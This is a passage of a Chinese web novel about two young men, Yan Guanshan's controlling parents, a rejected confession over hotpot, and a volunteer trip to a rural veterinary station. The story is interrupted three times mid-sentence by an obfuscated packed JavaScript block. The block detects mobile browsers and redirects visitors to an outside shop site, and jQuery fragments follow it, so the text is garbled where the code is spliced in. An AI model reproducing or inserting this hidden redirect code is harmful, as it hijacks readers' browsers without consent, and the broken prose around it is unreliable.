闻影嘴一咧,笑道:“没父母,哪来教养,不过看看你我还挺庆幸自己是个孤儿,要我天天在这听你罗里吧嗦,老子门都不让你进。”
姑妈也被闻影震得半天说不出话,结巴着道:“家里的矛盾很复杂,你不懂,不要这样说。”
“能有多大矛盾?!”晏母被一冷一热的言语刺激,骂不过,坐下就抹眼泪,声泪俱下地控诉起来,“不就是他捡的狗死了吗,这也能怪到父母头上?不让他养是怕影响学习,本来就是流浪狗,在外面自生自灭那是它们的命,犯得着因为条死狗跟我们怄气一辈子?”
晏关山沉下脸:“它们本来能好好活着,这事我不想再说了。”
“那又怎么样呢!活着还是死了,都只是宠物!宠物而已!”晏母不理解,“有什么东西能有你前程重要,有这个家重要?”
闻影一愣,有些他想不明白的事现下突然明朗了,晏关山那种对小动物的固执和偏爱,原来是有根源的。
选择兽医专业,并不是单纯喜欢那么简单。
虽然不清楚事情原貌,闻影听了这些话还是非常生气,他攥紧拳头后槽牙磨得生响,像条龇牙的小兽。他气的是埋汰指责晏关山的话没有一句是真的,而这些话居然是从父母嘴里吐出来的。
原来这世上不是所有父母都神圣无私,有生了孩子就扔的,也有生了孩子瞎比养的。
晏母话匣子开了各种难听话往外倒,闻影理智上知道不能动手打人,但行动上身体已经先一步窜出去,不能打,拎起来推出门总可以吧。
他实在是受不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505784|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了了。
“不生气。”晏关山拉住他,在耳边说,“不值得。”
闻影憋了半天卸了劲,转头走前只道:“我认识他时,他饿着肚子给人打工,值夜班一值一个通宵,第二天还要上课,就舍得买个包子对付,就这样还门门课系里第一。”
“宠物医院的宿舍里连下脚的地方都没有,后来租个老破小将就,冬天热水器是坏的,夏天没空调,他申请到的奖学金和打工赚的钱,全拿来付学费、房租和生活费,吃饭全靠打发,比现在瘦一圈。”
“他现在靠自己开了那么多宠物医院,你瞧不起的专业是他学到手的本事,能养活自己。还说他鬼混,那他过得不好的时候,你们这当爹当妈的在哪?”
不知是哪些字眼刺到晏母神经,她没再喋喋不休地指责,只低着头流眼泪,姑妈扶着她,两个人都哑口无言。
晏母看着二人背影,话语和举止都有些亲密,回护彼此的言行十分明显,竟让她这个当妈的更像个外人。
晏母有气无力地道:“是不是得等我们死了,你才肯回家看一眼?”
姑妈一脸愁容:“关山,姑妈保证不强留你,一会儿吃了饭就让你走,可以吗?”
晏关山沉默了很久,无可奈何地叹了口气:“好。”
转过脸想说什么,闻影抢在他前面开口:“饺子什么时候都能吃,你去吧,我回家了。”
“闻影。”晏关山拉住他。
“不消说,我知道。”闻影清楚晏关山今天不回去一趟,晏母要么赖着不走,要么还会来第二次第三次,反反复复地找麻烦。
闻影低着头,只用一个倔强的发旋对着晏关山:“你要实在待不下去就走,我带你去吃宵夜。”
晏关山逐渐低落下去的情绪在这一瞬烟消云散,他毫不掩饰地笑起来,胆肥地揉了把闻影的头说:“知道了。”
宵夜没有吃成,闻影回家就蒙头大睡,在熟悉的地方闻着熟悉的味道,始终要松弛很多。
等他醒过来时天早就黑透了,本来想问晏关山回家的情况,可几句话写了删删了写,也没发出去。
别人的家事,一个外人瞎操什么心。
冲了个澡,闻影顶着一头湿发煮了碗泡面,盘腿坐在沙发上吸溜,电视依旧在重播春晚,每一个大年初一,他过得都这般索然无味。
“滴噜!”
收到一条微信,闻影赶紧把泡面盒往茶几上一扔,拿过来看。
[Y]:我到家了,你晚饭吃的什么?
[Y]:我没吃饱,煮了点饺子。
[Y]:[图片]
照片上只有一口锅,里面的饺子十个破八个,本来应该清清爽爽的饺子汤现在俨然成了一锅漂着玉米粒和肉沫的肉汤。
闻影看那饺子的造型,是自己包的丑饺子没错,他没忍住笑出声。
[Y]:包得很好,下次别包了。
[景三]:嫌弃就倒了,话那么多!
[Y]:吃完了。下回什么时候还能吃到您的手艺?
[景三]:看心情!
[Y]:那今天心情好吗?
闻影在发怒小红人和翻白眼小黄人的表情里犹豫了几秒,手一抖,发了个小企鹅转圈圈。
[Y]:我也
[Y]:[小企鹅转圈圈]
[景三]:。
闻影弯着嘴角“啧”了声。
其实今年的大年初一,好像也没有想象中那样无聊。
35.第 35 章
大年初三这天,苏淳开车回到玉城已经是傍晚时分,把学生们送回家,他打通了闻影的电话,说要把画架和露营装备送过来。
闻影只好在家等着,想着对方辛苦送东西来,请人家吃个饭也是应该的。
放好东西,苏淳开车去闻影订的馆子,一家全国连锁的火锅店,也就这种店在春节假日那么早开门。
“要吃什么自己点,你开车不能喝酒,我自个儿喝了?”闻影说着找服务员要了几瓶冰啤酒。
苏淳抬头:“拿一件吧,我叫代驾就行,今天想喝点。”
闻影顿了顿:“行。”
边吃火锅边喝啤酒,快活似神仙,闻影从晏关山家回来这几天几乎都在蒙头大睡,有什么吃什么相当敷衍,嘴里快淡出鸟了,牛油辣椒刺激着味蕾,一瞬间浑身舒畅。苏淳在说露营的趣事,还讲了下大家写生的收获,都画了些什么,哪几个景很美,闻影听着偶尔应几句。
苏淳找了个话头说:“其实我带了烟花去,藏在后备箱,想除夕晚上放的。”
闻影执着一段咬不烂的牛筋,随口问:“那放了吗?”
“放了,湖边放烟花很漂亮,水里的烟花光影平时很难见到。”苏淳抬起酒杯和闻影碰了碰,“可惜你不在,我是想放给你看的。”
这牛筋不会是皮鞋做的吧,闻影敷衍道:“下次。”
苏淳追问:“下次你还肯和我去么?”
“时间合适,有什么不行的。”好不容易把牛筋咬断,嚼吧嚼吧咽下,闻影满足地喝下一杯酒。
苏淳端着酒杯,看了闻影半天:“我俩现在算什么关系?”
闻影抬头一懵:“啊?”
苏淳一手撑着下巴,脸上有层喝酒上劲的红晕,这么直愣愣盯着人看,真诚中透着一股渗人,他问:“我跟你表白了,现在你还愿意出来和我单独吃饭,我想知道是什么意思,我俩到底算什么关系?”
闻影觉得当时拒绝得非常直白了,奈何这人听不懂,或者听不进去。
那没关系,再说一次。
闻影没回避目光,直视他说:“没毕业前,是导员和学生的关系,毕了业就是朋友。”
苏淳眼神迷离地沉默着,越想越不甘心,他计划了很久的除夕露营,只消一个莫名其妙的电话,闻影就能转身就走,甚至不惜在马路上拦货车也要赶回去。
晏关山到底有什么魅力?自己哪里输了?
这四年掏心掏肺地对闻影好,好不容易觉得亲近之余可以更近一步,超越导员和学生那层关系,提一提别的,杀出来一个晏咬金,苦心构建的亲密霎时崩塌。
苏淳想不通。
闻影哪知道对面的人快要碎了,他只看得见眼前的火锅很好吃,敲桌子提醒:“别愣着快吃啊,肉都要煮老了,你不就爱这口?”
苏淳不甘心地问:“闻影,我们两个认识四年了,你从来对我都没有一点点好感吗?那方面的好感,没有过吗?”
闻影正在锅里捞肉:“真没有。”
苏淳苦笑:“可你明明记得我爱吃什么。”
闻影放下筷子,叹气:“我朋友就这么几个,要记住喜好很正常。边屹只穿粉色的平角内裤,费彦爱吃一切酸不拉几的东西,我只要见到都会给他们买,难道我对他们也有那种意思?”
苏淳好想捂心口,他窒息得说不出话。
但是他也明白,闻影就是个有什么说什么的人,那些弯弯绕绕的小心思他不会,不因为苏淳多了一层导员的身份就顾忌人情关系吊着他。
闻影还补刀:“要是当朋友处让你有压力,以后我会和你保持距离的。”
苏淳摇摇头没说话,只是抬起一整瓶就往下灌,闻影没拦他。
闻影自顾自吃自己的,懒得管那么多,隔了会儿手机不停地震动,他掏出来看。
是边屹拉了个小群,里面一堆人已经叮叮当当地聊半天了,闻影把免打扰打开才开始爬楼。
[边边小叮当]:[地址]
[边边小叮当]:我给老板打了电话了,有房,@你彦哥@孩子王@景三@Y 年初五农家乐三日游,谁同意谁反对?
[孩子王]:我可以,我开一辆车。
[边边小叮当]:[亲亲]
[你彦哥]:这么寡吗?
[边边小叮当]:所以?
[你彦哥]:想约球球一起去玩,可是要过夜,我怕妹子把我往脏里想。
[边边小叮当]:我问问球球,就是她乐意来,晚上住着也不方便。
[孩子王]:你们不介意的话我带我表妹一起,她今年大三,和你们应该聊得来。
[边边小叮当]:这不就妥了!
[你彦哥]:许哥伟大,无需多言!
[边边小叮当]:约好了,温泉烧烤打牌五黑,有没有!
[你彦哥]:有有有!
[边边小叮当]:@景三 @Y 这俩人怎么回事一问一个不吱声啊?
[你彦哥]:闻影不是跟他导员在吃饭呢么,可能没空看手机,他肯定去不用问了,他去晏哥也必须必的去吧,晏哥?@Y
[边边小叮当]:你怎么知道闻影和谁吃饭,别瞎说。
[你彦哥]:苏淳朋友圈都发了,我看见他手机壳了啊,那么嚣张一壳子。
[边边小叮当]:……
[你彦哥]:不信你去看啊。
[边边小叮当]:你是真的憨![菜刀]
[孩子王]:[安慰]@Y
群里的对话就停在这里,闻影去翻朋友圈,苏淳果然是在自己狂炫火锅的时候发了一条。
——四年如烟火绚烂,我抓不住。
emo又文艺的话语配着一张沾满红油的凌乱桌子,边缘一角露出闻影的手机壳。
硕大四个字“别烦你爹”。
闻影:“……”
闻影此地无银地在群里解释了一句,是导员给他送画架过来,顺便请客吃饭。
[边边小叮当]:那农家乐妥不妥?一起去嘛,野王,没你在我们开黑不就是奔着连跪去的嘛,球球了!
[你彦哥]:球球怎么了?
[边边小叮当]:你丫能不能闭嘴啊!
[景三]:行啊,我反正没事。
[景三]:@Y ?
[Y]:[裂开]
[景三]:[啤酒][温泉][蛋糕]
[Y]:[苦涩][炸弹][凋零]
闻影嗤笑,微信自带表情包属实是给你玩明白了!
[景三]:你到底去不去。
[Y]:我有事,你们玩得愉快。[玫瑰]
从二人打哑谜开始,群里就安静如鸡,连完全不在状况的费彦都闭了嘴,闻影腹诽晏关山心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529217|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼子就芝麻粒点儿大,吃个饭很大事吗,你是我什么人啊,我跟别人吃个饭你凭什么不高兴!
少管你爹!
回家的时候苏淳已经醉醺醺的了,闻影叫来代驾把人扶上车,苏淳还迷迷瞪瞪地拉着他说“我不会放弃”,闻影听见了也当没听见,交代了师傅几句,自己打车回家。
到家没几分钟,哪哪都不得劲,闻影鬼使神差地在群里发信息。
[景三]:我到家了。
隔了会儿觉得很莫名其妙,又补了一条。
[景三]:有人打游戏吗?
群里立刻活跃起来,无人在意他刚才那隔空汇报的迷之操作,但约晏关山打游戏,对方还是说在忙。
索然无味地带着四个废物赢了两把,闻影颇觉没意思,下了线,戳开狼犬头像。
[景三]:看看狗。
发出去就有点后悔,闻影很少主动给人发微信扯闲篇,这没事找事穷极无聊的三个字和那种下头男孜孜不倦地发“在吗”有什么区别?
但是晏关山又没有回他。
[景三]:看看猫。
闻影:“……”
我服我自己。
在闻影失去耐心准备骂街的时候,晏关山终于回了。
他发来了一张照片,是他的猫房,没有后脚的狗子闹闹新装了一副轮子辅助行走,围了一圈看热闹的猫猫狗狗,晏关山盘腿坐着,皮皮的大狗头露了半个,垫在主人腿上看戏。
行吧,也算是一张照片回了两句话。
[Y]:你回家了?
[景三]:你没看群?
问完才发现暴露了,闻影尴尬了一阵,重新打字。
[景三]:早就回了,又不干嘛。
[Y]:好吧。
好吧你个猪头!
你凭什么好吧!
[景三]:农家乐不去啊?
[Y]:后天你有空吗?
两句话同时发出去的,闻影眨眨眼,看上头变成“对方正在输入……”
他暗搓搓地等待。
[Y]:确实有事。正想问你,写生没写成,要不和我去一个地方,可以采风。
[景三]:?
[Y]:山清水秀,就在水库边,还有很多平时难得一见的动物。
[景三]:什么动物?
[Y]:鸡鸭鹅,猪牛羊,毛驴兔子小田鼠。
[景三]:???
[景三]:动物园?
[Y]:下乡支农。
[景三]:你们还支农?
[Y]:每年都去的,大概晚饭前结束,如果你也去,我们可以一起开车去和边屹他们汇合。
闻影犹豫了一下,其实也没怎么犹豫,只是在想怎么回答显得自己是很勉强才同意的!
相当勉强!
[景三]:皮皮去吗?
[Y]:我问问它。
[景三]:……
[Y]:它说你陪它它就去。
闻影翻了个白眼,拿狗当借口。
幼稚鬼。
[景三]:那你跟皮皮说,我陪它。
晏关山发回一张照片,皮皮被主人掰着狗头,对着镜头嘴巴缝咧得老开了,被迫表演一个欣喜若狂。
而皮皮爹也发了个表情过来。
[Y]:[小企鹅转圈圈]
36.第 36 章
初五这天一大早,晏关山开车接上闻影,直奔化龙乡。
同行的有三辆车,分别从不同的地方出发,就算坐满也没几个人,况且照他们后座塞得满满当当这架势,一辆车最多载两三个人,闻影奇怪道:“支农就这么点人够吗?”
“基金会原本就只要求会员单位出一个人就行。”晏关山单手扶着方向盘,表情轻松闲适,“农村兽医站最缺的是药品和仪器,这趟下乡的任务是提供补给和培训,不需要太多人。”
后排一堆药品,皮皮挤在中间,露着狗头乖巧地听它爹说话,不闹不叫,闻影搭只手在它脑袋上,没事儿就薅一把。
闻影:“你不是院长吗?”
晏关山“嗯”了声:“怎么?”
“还亲自出马?”闻影问。
晏关山失笑:“别人都要过年,就我闲,所以我来啊。”
说罢他从扶手箱拿出一个可爱带绳儿的大保温杯,递给闻影:“出门前在家弄给你的咖啡,一会儿到了你自己去逛,不用管我们。”
保温杯上都是迪斯尼各种卡通形象,连绳都是粉的,大牌联名款,还好不带吸管,不然真是蠢到家。
闻影很是嫌弃:“怎么给我拿一这杯啊?”
“昨天才想起来需要,能送来的就只有这种,带个绳子你挎着出去,方便拍照和画画。”晏关山道。
闻影背着包来的,晚点他们要去农家乐泡温泉,他塞了些衣服和洗漱用品,加上相机和画具,挺重。
晏关山顺着他的眼神看过去,又翻出一个腰包给他:“背包就放车上,挎上水背着相机,其他零碎的东西放腰包里。”
闻影出门要么丢三落四要么缺东少西,有人给他备得这么周全,粉杯子也就忍了。
“总觉得,被你当成了一个弱智。”闻影嘴上叨叨,却漫不经心地把水杯斜挎起来,掏了掏包里那些手机口香糖和纸,还从门边拿了几根皮皮的火腿肠,一一塞进腰包,然后拴在自己裤腰上。
这一顿操作,让晏关山看得发笑,闻影拧着眉:“笑个屁。”
“不像弱智。”晏关山笑着转过头,“像个马上去春游的小学生,早知道给你带个饭盒了。”
也要可可爱爱,米饭上还盖块爱心煎蛋的那种。
闻影伸手就在对方大腿上掐了一下,直疼得晏关山求饶:“错、错了,错了,开车呢,别闹。”
这趟行程是公务,但两个人说说闹闹的,闻影觉得更像是去旅行,他对晏关山没了之前那么争锋相对,或许是因为撞见了他在父母面前的难堪,也或许是卧室门口轻柔的一个拥抱,六年后的晏关山比之前更鲜活,他在分享自己的喜怒哀乐,也分享无奈和一点脆弱,以至于闻影不管是被动还是主动地接收到对方的情绪时,同样深切得感知着,晏关山把他这个人放在心上。
既放在心上,闻影就不可能不好奇对方这六年怎么过的,闻影问一句晏关山就答一句,极尽详实。晏关山告诉闻影,没毕业的时候在那家宠物医院干的都是杂活,没证不能上岗,但多点临床经验百害无一利,当时医院的周院长也是晏关山导师的学生,导师推荐他去,周院长一直也很关照他,私下晏关山都喊他周哥。
大四毕业考了执业兽医资格证,他就在周哥那儿边工作边读研,也是因为周哥有了别的经营方向,宠物医院需要人接手,商量下来让晏关山以技术入股。
“第一家医院等于空手套白狼。”晏关山开玩笑说,“没有周哥,我没那么快能把医院开起来,现成的都。”
“也不算太空手,好歹有技术。”闻影说,“不管怎么说,你想做的做到了。”
“嗯,算是吧。”晏关山笑了下,以前舍不得用钱过得苦哈哈的,闻影问他干嘛对自己这么苛刻,该吃吃该喝喝又不是真穷到那地步,晏关山就说有一个不知道什么时候能实现的愿望。
他很想开一家自己的宠物医院。
那时候的闻影也曾把这个愿望当做自己的愿望,偷偷攒钱,想哪一天能帮上他,但从来没跟晏关山说起过。
闻影老成地道:“可以了,后来不是还开了那么多家连锁,也不全靠你那周哥吧。”
晏关山警觉地抓住重点,赶紧解释:“周哥四十多,儿子都快上初中了。”
闻影一噎:“你是分不清好赖话?故意的?”
晏关山分得清,闻影夸人味儿也冲,一般人还真受不了。他说:“开分院有运气成分在,不全是我努力的结果。”
闻影还是觉得他在谦虚,都不想夸了。
晏关山:“靠我自己在短时间内开连锁,买房买车,根本不现实。以前跟你说的那个愿望,还是太天真了点。”
闻影好奇:“那你不也开了?”
“第一桶金还是靠家里给。”晏关山坦诚道,“我爷爷去世前留了钱和房子给我,没和爸妈说,也不让他们再管我。”
晏关山还说:“我没你想的那么能耐,一个人在社会上摸爬滚打能混成这样属于都市传说,没爷爷帮我,我可能还窝在租屋里,车肯定是不舍得买,再怎么攒最多也只开得起一两家分院。”
闻影听他平平淡淡讲述,有些愣神,隔了会儿道:“要那么诚实么……”
“对你还是要诚实的。”晏关山笑笑。
一个多小时后下了高速,得走半小时的老路。行车颠簸,两边逐渐有了乡村和菜地,闻影开了点窗,清新的空气参杂着复杂的气味飘进车里,闻影皱了皱鼻子。
虽然不是太好闻,可入眼景象皆是大城市稀缺的宁静祥和,他整个人无比松弛。
进了村,车子都在兽医站停稳当,志愿者一边卸货一边和闻讯赶来的老村长寒暄。
村长特热情,不一会儿就摇人给每一个来支农的志愿者带了土产,闻影都被强塞了一条火腿和一串鸡蛋。
晏关山一下车就把白大褂穿起来了,闻影撸撸袖子要上手搬东西,被他生生拽开:“还想打石膏?”
闻影:“……我有那么脆吗?”
晏关山高高大大地往面前一站,不容置喙:“我是医生还是你是医生?”
闻影怼他:“兽医又不医人!”
“兽医也是医。”晏关山揪了下闻影脑后的揪揪,飘过一阵消毒水味儿,“乖乖遵医嘱,不许搬重物,带儿子玩儿去。”
皮皮:“汪!”
闻影:“……”
这话为什么听着怪怪的呢?
旁边的刘医生听见,笑着问:“关山,这是你弟弟啊?”
闻影嘟着个脸:“他才是我弟!”
刘医生愣了下,看晏关山一脸的无可奈何,走远了才小声蛐蛐:“这半大孩子都叛逆,你这当哥的再宠得宠坏。”
晏关山:“他不是我弟弟。”
刘医生:“那是……医院新来的实习生?”
晏关山往后瞥了一眼,无所事事的闻影已经掏出了相机,对着一头大水牛库库拍照,皮皮没见过这些大动物,兴奋得原地转圈。
晏关山回过头答:“我家里人。”
手机里收到晏关山做的攻略,是化龙乡周边的地形图,哪里有水库哪里可以摘新鲜水果,哪座山上有个庙,都写得一清二楚。
原本照着去一人一狗走走挺清静的,但闻影就是提不起兴致,总觉得山水间的宁静,比不上白大褂们围着几头牛和猪叽叽喳喳有意思。
晏关山把药品发完就去教乡村兽医老杜用医疗器械,不知道说起什么,老杜搂着他一阵大笑。
闻影远远看着,颇有些新奇。
老杜没有穿白大褂,洗得都掉色的棕色皮夹克加上耐造的牛仔裤,整个人就是憨厚老实。他那衣裤上不是泥就是给牛治病时粘上的血和排泄物,晏关山白白净净戳在一边,闻影本来会觉得格格不入。
但是并没有,老杜掏出手机叫别人帮忙给两人拍个合照,晏关山高得多,就伸手搂住对方,配合着比了个大拇哥。
很憨,可两个人笑得很亲切,闻影也忍不住抬起相机,摁下快门。
乡村兽医站很少有能自己上门看病的“患者”,多数情况下都得老杜挨家挨户去看病,村子里兽医少但牲畜多,病了死了对村民来说都是不小的损失,难得有城里来的医生,老杜拉着人乌泱泱一群要去现场看疑难杂症。
“平时没有这样的机会,多听多看,能学到不少东西。学校里学的那些,其实在这里用处更大。”晏关山正跟身边那个年轻人说着话,一回头愣住,问道,“你没去逛逛?”
闻影一手拿相机一手揣兜,狗绳被他吊儿郎当地系在皮带上,他踢着地上的小石头问:“干嘛去啊你们?”
晏关山道:“杜大哥说有一户人家的母牛流产,还有子宫脱出的情况,治疗后情况不理想,可能会产生繁殖障碍,我们去看看。”
晏大夫一脸认真地说病情,以至于“母牛流产”“子宫脱出”这些闻影平时根本不可能听得到,听到了也会瞳孔地震的厉害词汇,从对方嘴里蹦出来时,闻影竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558470|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然很快就接受了还觉得合理。
闻影眨巴着眼睛,满脸渴望和好奇:“需要帮忙吗?”
“要。”晏关山笑了下,轻轻拽了下他的衣服,“跟着我。”
从早上干到下午,去了一家又一家的农户,不是进猪圈就是钻牛棚,闻影全程跟着,有时候帮着搭把手拿个东西,有时候负责给晏医生擦汗拎包,实在插不上手,他就带皮皮跟其他狗子玩。
农村里几乎家家都养个狗子看门,村里的狗吃喝拉撒都恣意自在,皮皮这种住在城里的狗子,这会儿才像进城的刘姥姥,看什么都新鲜。
当然,闻姥姥也瞧啥都新鲜。
他带皮皮去看猪看牛,跟狗子交朋友,街里街坊的知道兽医来免费看病,对他们都很热情,闻影长得帅气,皮皮又是威武霸气的捷克狼犬,一人一狗光站那儿就可以拍杂志,大姐大婶的看得喜欢得不行,恰逢过年,家家都要强行投食,等到闲下来的时候,闻影和皮皮都撑坏了。
晏关山还在跟村民交代什么,反倒是老杜见闻影和皮皮站在牛棚旁,过来找他们搭话。
老杜很自来熟:“你是小晏家亲戚啊?”
闻影:“啊。”我是他哥。
老杜笑呵呵地摸了下皮皮:“这狗真漂亮,你养的?”
闻影学着晏关山喊他杜大哥:“是晏……医生养的。”
“小晏是喜欢这些,也就城里不能养别的,不然我跟你说,他指不定要养只羊养匹马呢。”老杜说。
闻影笑了笑问:“杜大哥和晏医生很熟吗?”
“他年年都来!”老杜夹着烟抬手指着晏关山的背影,“也多亏了他们在,不容易,心善呐。”
“有多善?”闻影搓着手,“展开讲讲呢杜大哥。”
老杜说了不少掏心窝子的话,原来支农的主意是晏关山在基金会里提的,他偶然在网上看到老杜拍的乡村兽医记录小视频,个中艰苦辛酸不言而喻,于是找到了老杜,从化龙乡试点开始了支农项目。
一年年坚持下来,不止化龙一个乡镇有了兽医站帮扶,加入支农的动物医院也越来越多,每年寒暑假玉大动物医学系还有不少学生来实习。
老杜还告诉闻影,村子里给晏关山送的锦旗都搁在他那儿,放都放不下了,玉城农业部门知道这事儿也大力推广,给晏关山还颁了个支农标兵的奖。
直到跟老杜告了别,坐上车都开出去一段距离了,闻影还在想老杜抓着他袖子反复念叨:“你哥人真好。”
晏关山有很多面,生活里他有些笨拙,学业上很努力,工作时兢兢业业,感情的话迟钝得像个出家人,这些是闻影总结的从前的他。
如果六年是一个分水岭,现如今晏关山是让闻影感到陌生的,但这陌生并不是贬义,就比如亲眼看到他工作起来严肃认真的模样,与人打交道时谈笑自如的从容,他游刃有余地平衡着生活工作和学业,面对感情直接坦诚主动出击,闻影忽然意识到,晏关山已是个成熟稳重的男人了。
不管他变没变,变了多少,闻影一直都知道晏关山的好。从前这些“好”只有闻影知道,如今从别人嘴里听到关于晏关山的事,好的、坏的、真实的、虚假的,让他有些不知所措。
好像一个藏在家里很久的宝贝被人挖出来了,公之于众了,就算不用上交国家也被别的人知道了,这想法是自私的,却让闻影有点慌。
对晏关山独占的心理,依旧强烈,霸道又隐秘,从来就没消失过。
“晏关山。”闻影闷声喊他。
晏关山“嗯”了声,侧过脸很快看了他一眼问,“怎么了?”
闻影撑着车窗玻璃杵着下巴道:“杜大哥一个劲儿夸你,说你人好。”
“他一天乐乐呵呵的,见谁都夸。”晏关山打趣道,“你没怼几句让他冷静冷静?”
闻影:“没有。”
“那我该骄傲了。”晏关山笑得温温和和的,握着方向盘直视前方,只当随口闲聊。
“你可以骄傲。”闻影刻意不看着人说话,这些话面对面他还不好意思说出来,“我也觉得你好,早就觉得了。”
说完还嫌不够,闻影强调:“很早很早以前!”不能输给老杜!
晏关山诧异地瞥去一眼,像是随口而出的夸赞,闻影微微绷紧的下巴是用了些力才吐出这几个字的,绷得都有点地包天了,晏关山屈指撩了下狼尾那个小揪,很快缩回手,耳根有些热,心里也有些热,他压着嘴角尽量淡淡地说:“知道了。”
37.第 37 章
从化龙乡赶去和边屹他们汇合,大概要开两个多小时的车,路上晏关山接了无数工作电话,最后一个是许寰打过来的,问他们出发没有,晏关山报了公里数,电话里听那边还挺热闹。
许寰问:“闻影在旁边吧?”
晏关山:“在。”
许寰笑说:“那行,帮小屹再确认下,生怕他不来,你俩慢慢开,不着急。”
副驾上的人沉默好一阵了,晏关山看他一眼,闻影呆愣愣地不知道在想什么,晏关山吸吸鼻子问:“我难闻么?”
“嗯。”闻影回过神,没听见他说什么,“啊?”
晏关山看他眼神都在恍惚,问:“是不是累了?”
“不难闻啊。”闻影后知后觉地回答刚才的问题,说,“难闻也没人嫌你。”
跟着老杜去了几户农家诊治完,晏关山那身白大褂早都花里胡哨地沾满东西了,一个吃饭都要烫碗的人,工作起来讲究的小毛病都治好了,闻影更不会去龟毛地计较好闻难闻。
晏关山:“你睡一下,还有一会儿才到。”
皮皮早都睡得打呼了,闻影累但充实,何况他没干活,活都是医生们在干,他懒懒地喊人名字:“晏关山。”
晏关山:“到。”
“为什么这么喜欢动物?”闻影憋不住,还是问了,“你妈说养的狗死了,是因为这事儿?”
晏关山静了会儿,闻影尴尬道:“算了,不想说没人逼你,我也只是随便问问。”
晏关山不知道他是真好奇还是随口一问,只好“哦”了声,继续开车,谁料闻影安静了没一分钟,突然又暴躁地掐了他一把:“你还真不吱声啊!”
晏关山失笑:“不知道从哪里说起,很长,你要听吗?”
闻影觉得莫名其妙,养狗的故事能特么有多长。
闻影:“听!”
这是段让人想起来牵着苦的记忆,晏关山淡淡道:“我不止养过狗,从小就喜欢这些,学校门口不都有卖,五彩的小鸡小鸭,乌龟,仓鼠,都买回家养过。”
“包括后来捡的流浪猫和狗,算下来,家里有过十多只小动物。”
“我最后养的那只狗是放学路上捡的,它才两个月大,在垃圾桶里找吃的,全身都有病,马上就要冬天了,我不管它它肯定挨不过冬天。后来带它去医院治好了之后就领回了家。”
“好不容易把病治好,身上也长了点肉,小家伙挺活泼亲人的,可有一天我放学回家,狗不见了。我爸妈说它自己跑丢的,我找了很久,有一天深夜,狗子自己找了回来,身上有伤,几天没吃饱饭,皮肤病也严重,我想着回来就好,天亮了带它去宠物医院好好治疗。”
晏关山顿了下,闻影问:“病死了?”
“不是病死的。”晏关山语气听着还是带了点低沉,他说,“第二天一早,我妈说狗又跑丢了,我感觉到不对,最后在垃圾房里找到它的,那会儿是深冬,狗子已经冻死了,整个身体发硬,维持着蜷缩的姿势。我去门卫调了监控,是我妈把它扔掉的。”
闻影一震:“真是你妈扔的?”
晏关山点点头。
闻影皱着眉:“我说呢,生老病死都很正常,要是病死了你也不至于,给它扔了性质就不一样了。”
“可这种事不是第一次发生。”晏关山回忆道,“因为这事我和他们大吵一架,也是第一次和他们吵,我才知道,从小到大我养的小动物都活不长久并不是偶然,他们直接或间接地杀死了它们。”
闻影扭过头再次震惊:“为什么啊?!”
晏关山平静道:“因为我。”
闻影只消细想就知道为什么,他之所以要问出来,是纯粹不理解怎么有人干得出这事儿。
晏关山作为儿子,只能按照晏父晏母的意愿活着。不该有的兴趣爱好,不该交的朋友,不该养的宠物都只能消失。父母以“为你好”的名义,强硬且无声无息地试图抹杀晏关山的独立人格。
幼年时候的晏关山只是以为自己的父母比别人的更加严厉,因为家中并不打骂小孩,即便晏关山偶尔做了他们不允许的事,他们也只会冷静地分析利弊,和晏关山讲道理。
后来人逐渐长大了,个人意识开始觉醒,思维和观念越来越不受父母约束,晏关山才客观地去看待,发现父母教育从来都不是正常的,甚至不能只用严厉苛刻去评价。和晏母晏父提供的优越生活条件比起来,他们俩对儿子全方位的控制就更显得变态,晏关山感到越来越不舒服。
漏了气的篮球和足球,被刮花了的动画碟片,屏幕损坏的 gameboy,和再也不接电话不回微信的同学,组成了晏关山长达十八年在名为“家”的华丽牢笼里囚禁的全貌,死去小动物的尸体敲醒了晏关山,他第一次和父母爆发激烈的争吵,也下定决心要反抗要独立。
晏关山语气平淡,似乎已经没了什么情绪波澜,闻影却听得很不是滋味,他开始理解晏关山的某些偏执的部分,在这种窒息的控制下忍了十八年,不是不敢反抗,只因对方有着父母这一层身份,身份代表了养育之恩,若不是这父母之爱冠冕堂皇地建立在漠视小动物的生命之上,晏关山原本会一直忍下去。
听完这些,闻影想安慰对方,又不知道说什么恰当,于是老成地抬手拍拍晏关山的肩膀说:“现在这样挺好。”
“是挺好。”晏关山一把抓住对方的手,轻轻捏了下。
闻影快速伸出手一巴掌拍过去,晏关山躲开,又去抓,闻影又拍,来来回回闹了四五个回合,闻影笑着骂:“好幼稚啊你!”
他还是给晏关山抓住了,牵了三秒钟,晏关山松开握住方向盘,不言语,只笑。
